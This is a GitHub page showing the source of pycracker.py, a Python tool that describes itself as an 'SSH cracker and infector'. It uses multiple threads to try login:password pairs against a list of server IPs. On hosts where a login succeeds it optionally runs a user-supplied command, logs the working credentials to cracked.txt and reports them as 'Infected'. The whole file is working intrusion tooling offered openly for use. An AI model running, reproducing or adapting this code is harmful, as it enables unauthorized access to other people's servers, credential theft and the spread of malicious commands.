-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathpycracker.py
168 lines (136 loc) · 5.91 KB
/
pycracker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/python3
## Github: https://github.com/target111
## Project main repository: https://github.com/target111/PyCracker
##
## This file is part of PyCracker.
##
## PyCracker is free software: you can redistribute it and/or modify
## it under the terms of the GNU General Public License as published by
## the Free Software Foundation, either version 2 of the License, or
## (at your option) any later version.
##
## PyCracker is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
## GNU General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with PyCracker. If not, see <http://www.gnu.org/licenses/>.
##
import paramiko, os, sys, argparse, socket, time
from enum import Enum
from threading import Thread
paramiko.util.log_to_file("/dev/null") # Prevents paramiko error spam.
def chunkify(lst, threads): # split the ip list in equal chunks
return [lst[i::threads] for i in range(threads)]
def printEx (message, type): # format the text
print_type_str = ""
if type == PrintType.Error:
print_type_str = ConsoleColors.FAIL + "[ERROR]" + ConsoleColors.ENDC
elif type == PrintType.Warning:
print_type_str = ConsoleColors.WARNING + "[WARN]" + ConsoleColors.ENDC
elif type == PrintType.Info:
print_type_str = ConsoleColors.OKBLUE + "[INFO]" + ConsoleColors.ENDC
print(print_type_str + " " + message)
def is_valid_ipv4_address(address):
try:
socket.inet_pton(socket.AF_INET, address)
except AttributeError: # no inet_pton here, sorry
try:
socket.inet_aton(address)
except socket.error:
return False
return address.count('.') == 3
except socket.error: # not a valid address
return False
return True
class ConsoleColors: # fancy colors :D
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
class PrintType (Enum):
Error = 1
Warning = 2
Info = 3
class SshCracker(Thread): # ssh cracker class
def __init__(self, targets, creds, command=None):
Thread.__init__(self)
self.targets = targets
self.creds = creds
self.command = command
self.ssh = paramiko.SSHClient()
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
def writeToFile(self, data):
with open("cracked.txt", "a") as f:
f.write(data)
def run(self):
for target in self.targets:
for combo in self.creds:
try:
# try to connect to host
self.ssh.connect(target, port = 22, username = combo.split(":")[0], password = combo.split(":")[1], timeout = 3)
# if we're here it means the creditentials were correct.
stdin, stdout, stderr = self.ssh.exec_command("/sbin/ifconfig")
# check if the host is good
if b"inet" in stdout.read():
if self.command: # WIP
self.ssh.exec_command(self.command)
# save host to file. TODO: what happens if multiple threads open the file at the same time?
self.writeToFile("%s:%s:%s" % (target, combo.split(":")[0], combo.split(":")[1]))
# report to the user
printEx("Infected %s | %s:%s" % (target, combo.split(":")[0], combo.split(":")[1]), PrintType.Info)
self.ssh.close() # close the connection
# no point in trying any other combinations. go to the next address.
break
except Exception:
self.ssh.close()
def parse_args(): # parse user arguments
arg_parser = argparse.ArgumentParser(description="""
An advanced python SSH cracker and infector. Aimed to be simple to use, simple to develop.
""", formatter_class=argparse.RawDescriptionHelpFormatter)
arg_parser.add_argument('ip_file', help='list of servers to attack, one entry per line')
arg_parser.add_argument('-C', '--creds', default='creds.txt', help='colon separated "login:pass" file')
arg_parser.add_argument('-t', '--threads', type=int, help='run with n threads')
arg_parser.add_argument('--command', help='execute a command on the host')
args = arg_parser.parse_args()
return args
def run(args):
if os.path.isfile(args.ip_file): # check ip file
with open(args.ip_file, "r") as f:
ip_list = []
for line in f.readlines():
ip_list.append(line.strip("\n"))
for ip in ip_list:
if not is_valid_ipv4_address(ip):
ip_list.remove(ip)
else:
printEx("No such file: %s" % args.ip_file, PrintType.Error)
if os.path.isfile(args.creds): # check creditentials file
with open(args.creds, "r") as f:
creds_list = []
for line in f.readlines():
if len(line.split(":")) == 2:
creds_list.append(line.strip("\n"))
else:
printEx("No such file: %s" % args.ip_file, PrintType.Error)
if args.threads: # set number of threads.
if args.threads > len(ip_list):
printEx("Thread count exceeds number of targets. Attacking one server per thread.", PrintType.Warning)
args.threads = len(ip_list)
else:
if len(ip_list) == 1:
args.threads = 1
else:
args.threads = int(len(ip_list) / 2)
for ips in chunkify(ip_list, args.threads): # make ip chunks for threads
SshCracker(ips, creds_list, args.command).start() # start each thread
def main(): # main function
run(parse_args())
# only run as a .py
if __name__ == "__main__":
main()